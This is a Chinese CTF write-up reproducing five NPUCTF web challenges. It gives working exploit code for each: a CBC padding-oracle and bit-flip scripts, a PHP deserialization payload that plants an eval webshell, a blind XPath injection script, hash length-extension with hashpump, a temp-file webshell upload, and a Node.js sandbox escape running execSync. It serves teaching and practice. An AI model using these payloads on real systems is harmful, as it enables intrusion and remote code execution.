0%

NPUCTF-复现

WEB

1.web🐕

当时写这道题,知道只知道是CBC字节反转攻击。

后面看WP才发现考点

  1. cbc padding oracle
  2. cbc 字节翻转

index.php源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php 
error_reporting(0);
include('config.php'); # $key,$flag
define("METHOD", "aes-128-cbc"); //定义加密方式
define("SECRET_KEY", $key); //定义密钥
define("IV","6666666666666666"); //定义初始向量 16个6
define("BR",'<br>');
if(!isset($_GET['source']))header('location:./index.php?source=1');


#var_dump($GLOBALS); //听说你想看这个?
function aes_encrypt($iv,$data)
{
echo "--------encrypt---------".BR;
echo 'IV:'.$iv.BR;
return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR;
}
function aes_decrypt($iv,$data)
{
return openssl_decrypt(base64_decode($data),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv) or die('False');
}
if($_GET['method']=='encrypt')
{
$iv = IV;
$data = $flag;
echo aes_encrypt($iv,$data);
} else if($_GET['method']=="decrypt")
{
$iv = @$_POST['iv'];
$data = @$_POST['data'];
echo aes_decrypt($iv,$data);
}
echo "我摊牌了,就是懒得写前端".BR;

if($_GET['source']==1)highlight_file(__FILE__);
?>

从上面代码可知128位的cbc,blocksize是16字节,加密IV已知,secret未知,我们还知道解密是否成功,密文,我们又可以控制密文和解密的IV,可以使用padding oracle爆出明文。

具体的攻击理论

glotozz师傅的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import base64
url = 'http://ha1cyon-ctf.fun:30141/index.php?source&method=decrypt'
N = 16
l = [0] * N
iv = '6666666666666666'
tmp_iv = ''
out = [0] * N
s = ''
for i in range(1, N+1):
for c in range(0,256):
l[N-i] = c
tmp_iv = ''
for m in l:
tmp_iv += chr(m)
print base64.b64encode(tmp_iv)
# print payload
data = {
'iv': tmp_iv,
'data': 'ly7auKVQCZWum/W/4osuPA==',
}
data = requests.post(url, data=data).content.decode('utf-8')
if 'False' not in data:
out[N-i] = c ^ i
for y in range(i):
l[N-y-1] = out[N-y-1] ^ (i+1)
break
for i in range(N):
out[i] = out[i] ^ ord(iv[i])
for c in out:
s += chr(c)
print s

爆出明文 FlagIsHere.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
 <?php 
#error_reporting(0);
include('config.php'); //$fl4g
define("METHOD", "aes-128-cbc");
define("SECRET_KEY", "6666666");
session_start();

function get_iv(){ //生成随机初始向量IV
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

$lalala = 'piapiapiapia';

if(!isset($_SESSION['Identity'])){
$_SESSION['iv'] = get_iv();

$_SESSION['Identity'] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $_SESSION['iv']));
}
echo base64_encode($_SESSION['iv'])."<br>";

if(isset($_POST['iv'])){
$tmp_id = openssl_decrypt(base64_decode($_SESSION['Identity']), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_POST['iv']));
echo $tmp_id."<br>";
if($tmp_id ==='weber')die($fl4g);
}

highlight_file(__FILE__);
?>

CBC字节反转攻击

exp

1
2
3
4
5
6
7
8
9
10
# coding=utf-8
import base64 as b64

source_str = 'piapiapiapia' + 4 * '\x04'
target_srt = 'weber' + 11 * '\x0b'
token = 'sS8OuVOl9tyCkzAzsabGBA==' # 你获得的初始IV的base64encode值
token = list(b64.b64decode(token))
for x in range(0, len(target_srt)):
token[x] = chr(ord(token[x]) ^ ord(target_srt[x]) ^ ord(source_str[x]))
print b64.b64encode(''.join(token))

得到网盘地址下载得到HelloWorld.classjd-gui反编译得到byte流,后面python解一下

1
print(bytearray([102, 108, 97, 103, 123, 119, 101, 54, 95, 52, 111, 103, 95, 49, 115, 95, 101, 52, 115, 121, 103, 48, 105, 110, 103, 125 ]))

2.ReadlezPHP

看源码,跳转到/time.php?source得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

简单的反序列化,这里需要注意的是不能用 eval 因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

在PHP7中assert变成了一种语言结构而不是一个函数。也就是说像eval一样不支持可变函数。但某几个php7版本支持可变函数。

题目这个7.0.33版本正好可以.

构造反序列化payload,本地测试成功,但打过去命令没执行。怀疑是被禁用了系统函数,所以构造payload查看phpinfo();

1
2
3
4
5
6
7
8
9
10
<?php
class HelloPhp
{
public $a;
public $b;
}
$o = new HelloPhp;
$o->a = 'phpinfo()';
$o->b = "assert";
echo urlencode(serialize($o));

image-20200527184236232

这种情况一般是写个马上去,然后用其他方法bypass

1
$o->a = 'file_put_contents("1.php", "<?php eval(\$_REQUEST[\'a\']); ?>")';

然后利用蚁剑插件直接绕过

最后在环境变量中找到了flag

image-20200527191351755

3.ezlogin

弱口令,直接访问admin.php,都没啥发现,后面抓包看到是XML格式提交,考虑XXE或XPATH注入

image-20200527192234895

后面发现一个会话只有15秒,只能写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import requests
import string
import time
import re
session = requests.session()
base_url = 'http://d13a21db-47ab-4bae-a43f-86d733871552.node3.buuoj.cn/'
payload = "' or substring({target},{index},1)='{char}' or '"

chars = string.ascii_letters+string.digits


def get_csrf():
res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
'Cookie': 'PHPSESSID=5d86406434bb835c822991118a6a8eee0'}).text
return re.findall('<input.*value="(.*?)"./>', res)[0]

#注入payload
target = 'count(/*)=1'
#true
target = 'count(/*[1]/*)=1'
#true
target='count(/*[1]/*[1]/*)=1'
#false
target='count(/*[1]/*[1]/*)=2'
#true
target='count(/*[1]/*[1]/*[1]/*)=1'
#false
target='count(/*[1]/*[1]/*[1]/*)=2'
#false
target='count(/*[1]/*[1]/*[1]/*)=3'
#true
target='string(/*[1]/*[1]/*[1]/*[1])'
#1
target='string(/*[1]/*[1]/*[1]/*[2])'
#guest
target='string(/*[1]/*[1]/*[1]/*[3])'
#e10adc3949ba.......
target='string(/*[1]/*[1]/*[2]/*[2])'
#adm1n
target='string(/*[1]/*[1]/*[2]/*[3])'
#cf7414b5bdb2e65ee43083f4ddbc4d9f


data = '<username>{username}</username><password>1</password><token>{token}</token>'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
'Content-Type': 'application/xml',
'Cookie': 'PHPSESSID=0f91e551561497454d0b8e91253ca104'}
result=""
for i in range(1, 35):
for j in chars:
time.sleep(0.2)
temp_payload = payload.format(target=target, index=str(i), char=j)

token = get_csrf()

temp_data = data.format(username=temp_payload, token=token)
res = session.post(url=base_url+'login.php',
data=temp_data, headers=headers)
# print(temp_data)
# print(res.text)
# print(len(res.text))
if len(res.text) == 5:
result += j
break
print(result)

拿到密码md5解密得到密码 gtfly123,登陆后观察到url中?file=welcome

image-20200527205557544

任意文件读取

但使用一般的php://filter发现其被过滤了,那么尝试后发现过滤了一下关键字:php: .php read base

并且返回的内容中不能含有flag字符串,fuzz后发现其没有过滤大小写,那么用大写绕过协议,read可省略,编码方式使用rot13:pHp://filter/string.rot13/resource=/flag

4.ezinclude

根据hint md5($secret.$name)===$pass可以知道这题是个hash长度扩展攻击 但是,看到其他师傅有个非预期解

image-20200527214601299

image-20200527214620796

正常的解法是hash长度扩展攻击

exp:

1
2
3
4
5
6
7
8
import os
import requests
for i in range(1,33):
data=os.popen('hashpump -s 6c24bc6e5b7444222bd69cfc90fa536c -d zz -k '+str(i)+' -a zz').read()
name=data.split('\n')[0]
password=data.split('\n')[1].replace('\\x','%')
result=requests.get('http://ec560480-bfa8-4fda-bb89-116987af030d.node3.buuoj.cn/index.php?name='+password+'&pass='+name).text
print(result)

直接访问会跳转404,所以用Burp发包。

是一个文件包含

image-20200528220708064

比较坑的地方是dir.php 要扫描。如果得到了dir.php,应该都会想到上传临时文件getshell

1
2
3
4
5
6
7
8
import requests
from io import BytesIO
import re
file_data={
true'file': BytesIO("<?php eval($_POST['a']);")
}
url="http://usrl/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=file_data,allow_redirects=False)

从dir.php获取临时文件名getshell

最后是在phpinfo()页面找到flag

image-20200528223919475

5.验证🐎

关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});

先考虑第一层,
first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])keys不可知,无法爆破,而且需要.length相等,但是本身不相等,注意,此处用的是===以使类型和值完全匹配
对其进行加盐md5,加盐中出现了问题,因为盐是字符串,与字符串相加会导致强制类型转化 而String和Array都正好有length属性,并且

image-20200605101837835

但是直接传urlencoded的表单是没法传数组的,而这里正好使用了JSON的中间件,所以只需要传JSON就好了

然后考虑绕过正则,必须以 Math.开头的字符串,符号只能出现()+\-*&|%^<>=,?:,虽然可以 Math.__proto__但在这里无法直接利用。

但可以通过箭头函数构造这种链

1
2
((Math)=>(Math=Math.__proto__,Math=Math.__proto__))(Math)
// Math.__proto__.__proto__

然后尝试调用eval或者Function,但是此处无法直接输入字符串,故使用String.fromCharCode(…)然后利用Object.prototype.constructor从原型链上导出 String 和Function

payloay大致如下

1
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)()

分析一下

开头的Math是箭头函数。需要接受的参数。类似于function(Math)

(Math+1)是函数的参数,Math是个对象 与字符串1拼接后变成一个字符串

最外面的小括号。是JS的立即执行函数。定义函数后调用

中间一长串就是函数体了

image-20200605113220410

生成命令

1
2
3
4
5
6
def gen(cmd):
s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
return ','.join([str(ord(i)) for i in s])


print(gen('cat /flag'))

完整exp:

1
{"e":"(Math=>(Math=Math.constructor,Math=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))()))(Math+1)","first":"1","second":[1]}

不要忘了把修改把Content-Type 修改成application/json

-------------本文结束感谢您的阅读-------------